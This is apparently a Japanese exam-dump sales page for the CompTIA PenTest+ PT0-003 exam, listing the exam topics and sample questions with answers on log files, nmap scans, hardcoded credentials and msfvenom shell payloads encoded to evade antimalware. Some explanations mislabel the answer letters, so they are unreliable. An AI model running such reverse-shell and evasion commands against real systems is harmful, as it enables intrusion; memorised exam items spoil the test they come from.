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検証済みのPT0-003過去問題を使用してCompTIA PT0-003:CompTIA PenTest+ Exam 試験を効果的に準備する
当社は、お客様に信頼できる学習プラットフォームを提供できることを嬉しく思います。 PT0-003クイズトレントは、急速な発展の世界のさまざまな分野の多くの専門家や教授によって設計されました。同時に、PT0-003試験問題集に質問がある場合は、プロの個人が短時間であなたの質問に答えることができます。つまり、PT0-003クイズ準備を購入することを選択した場合、当社が提供する権威ある学習プラットフォームを楽しむことができます。最新のPT0-003試験トレントが最適な選択になると確信しています。さらに重要なことは、最新のPT0-003試験トレントのデモを無料で入手できることです。
CompTIA PT0-003 認定試験の出題範囲:
トピック
出題範囲
トピック 1
- Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.
トピック 2
- Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase’s responsibilities.
トピック 3
- Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.
トピック 4
- Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.
トピック 5
- Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.
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CompTIA PenTest+ Exam 認定 PT0-003 試験問題 (Q182-Q187):
質問 # 182
A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?
- A. /var/log/last_user
- B. /var/log/lastlog
- C. /var/log/user_log
- D. /var/log/messages
正解:B
解説:
The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.
質問 # 183
A penetration tester needs to launch an Nmap scan to find the state of the port for both TCP and UDP services. Which of the following commands should the tester use?
- A. nmap -sU -sY -p 1-65535 example.com
- B. nmap -sU -sN -p 1-65535 example.com
- C. nmap -sU -sT -p 1-65535 example.com
- D. nmap -sU -sW -p 1-65535 example.com
正解:C
解説:
To find the state of both TCP and UDP ports using Nmap, the appropriate command should combine both TCP and UDP scan options:
Understanding the Options:
-sU: Performs a UDP scan.
-sT: Performs a TCP connect scan.
Command Explanation:
Command: nmap -sU -sT -p 1-65535 example.com
This command will scan both TCP and UDP ports from 1 to 65535 on the target example.com. Combining - sU and -sT ensures that both types of services are scanned.
Comparison with Other Options:
-sW: Initiates a TCP Window scan, not relevant for identifying the state of TCP and UDP services.
-sY: Initiates a SCTP INIT scan, not relevant for this context.
-sN: Initiates a TCP Null scan, which is not used for discovering UDP services.
質問 # 184
In a file stored in an unprotected source code repository, a penetration tester discovers the following line of code:
sshpass -p donotchange ssh admin@192.168.6.14
Which of the following should the tester attempt to do next to take advantage of this information? (Select two).
- A. Run a password-spraying attack with Hydra against all the SSH servers.
- B. Take a screen capture of the source code repository for documentation purposes.
- C. Confirm whether the server 192.168.6.14 is up by sending ICMP probes.
- D. Use Nmap to identify all the SSH systems active on the network.
- E. Use an external exploit through Metasploit to compromise host 192.168.6.14.
- F. Investigate to find whether other files containing embedded passwords are in the code repository.
正解:B、F
解説:
When a penetration tester discovers hard-coded credentials in a file within an unprotected source code repository, the next steps should focus on documentation and further investigation to identify additional security issues.
Taking a Screen Capture (Option B):
Documentation: It is essential to document the finding for the final report. A screen capture provides concrete evidence of the discovered hard-coded credentials.
Audit Trail: This ensures that there is a record of the vulnerability and can be used to communicate the issue to stakeholders, such as the development team or the client.
Investigating for Other Embedded Passwords (Option C):
Thorough Search: Finding one hard-coded password suggests there might be others. A thorough investigation can reveal additional credentials, which could further compromise the security of the system.
Automation Tools: Tools like truffleHog, git-secrets, and grep can be used to scan the repository for other instances of hard-coded secrets.
Pentest Reference:
Initial Discovery: Discovering hard-coded credentials often occurs during source code review or automated scanning of repositories.
Documentation: Keeping detailed records of all findings is a critical part of the penetration testing process. This ensures that all discovered vulnerabilities are reported accurately and comprehensively.
Further Investigation: After finding a hard-coded credential, it is best practice to look for other security issues within the same repository. This might include other credentials, API keys, or sensitive information.
Steps to Perform:
Take a Screen Capture:
Use a screenshot tool to capture the evidence of the hard-coded credentials. Ensure the capture includes the context, such as the file path and relevant code lines.
Investigate Further:
Use tools and manual inspection to search for other embedded passwords.
Commands such as grep can be helpful:
grep -r 'password' /path/to/repository
Tools like truffleHog can search for high entropy strings indicative of secrets:
trufflehog --regex --entropy=True /path/to/repository
By documenting the finding and investigating further, the penetration tester ensures a comprehensive assessment of the repository, identifying and mitigating potential security risks effectively.
質問 # 185
A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by antimalware that is running on the target. Which of the following commands should the tester use to obtain shell access?
- A. msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 EXITFUNC=none
- B. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
- C. net user add /administrator | hexdump > payload
- D. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
正解:D
解説:
Using shikata_ga_nai:
This encoder obfuscates the payload, making it harder for antimalware to detect.
The command specifies a bind shell (windows/bind_tcp) payload, targeting Windows with architecture x86-64.
Why Not Other Options?
B, C: These commands generate payloads but do not use an encoder, increasing the likelihood of detection by antimalware.
D: This command is unrelated to generating shellcode; it appears to be an attempt to manipulate accounts.
CompTIA Pentest+ Reference:
Domain 3.0 (Attacks and Exploits)
質問 # 186
Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?
- A. Catalog
- B. For-loop
- C. Dictionary
- D. Directory
- E. Symlink
正解:C
解説:
A dictionary can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools. A dictionary is a collection of key-value pairs that can be accessed by using the keys. For example, a dictionary can store usernames and passwords, or IP addresses and hostnames, that can be used as input for brute-force or reconnaissance tools.
質問 # 187
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